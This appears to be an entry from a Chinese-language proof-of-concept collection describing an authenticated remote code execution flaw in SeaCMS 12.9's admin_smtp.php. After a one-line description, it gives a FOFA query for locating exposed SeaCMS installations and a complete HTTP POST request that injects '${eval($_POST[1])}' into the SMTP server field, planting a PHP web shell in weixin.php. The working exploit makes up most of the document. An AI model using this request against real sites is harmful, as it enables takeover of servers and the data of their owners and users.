38 lines
1.4 KiB
Markdown
38 lines
1.4 KiB
Markdown
# 海洋CMS后台admin_smtp.php存在远程代码执行漏洞
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SeaCMS 12.9存在远程代码执行漏洞。该漏洞是由于admin_smtp.php将用户输入的数据未经处理直接拼接写入weixin.php造成的，允许经过身份验证的攻击者利用该漏洞执行任意命令并获取系统权限。
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## fofa
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```yaml
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app="海洋CMS"
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```
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## poc
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```yaml
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POST /at1fcg/admin_smtp.php?action=set HTTP/1.1
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Host: 127.0.0.12
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
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Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
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Accept-Encoding: gzip, deflate, br
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 192
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Origin: http://127.0.0.12
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Connection: close
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Referer: http://127.0.0.12/at1fcg/admin_smtp.php
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Cookie: PHPSESSID=rcejd2jps1jcrv8gdoumqmf71k
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Upgrade-Insecure-Requests: 1
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Sec-Fetch-Dest: iframe
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Sec-Fetch-Mode: navigate
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Sec-Fetch-Site: same-origin
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Sec-Fetch-User: ?1
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Priority: u=4
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smtpserver=${eval($_POST[1])}&smtpserverport=&smtpusermail=12345%40qq.com&smtpname=%E6%B5%B7%E6%B4%8B%E5%BD%B1%E8%A7%86%E7%BD%91&smtpuser=12345%40qq.com&smtppass=123456789&smtpreg=off&smtppsw=
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```
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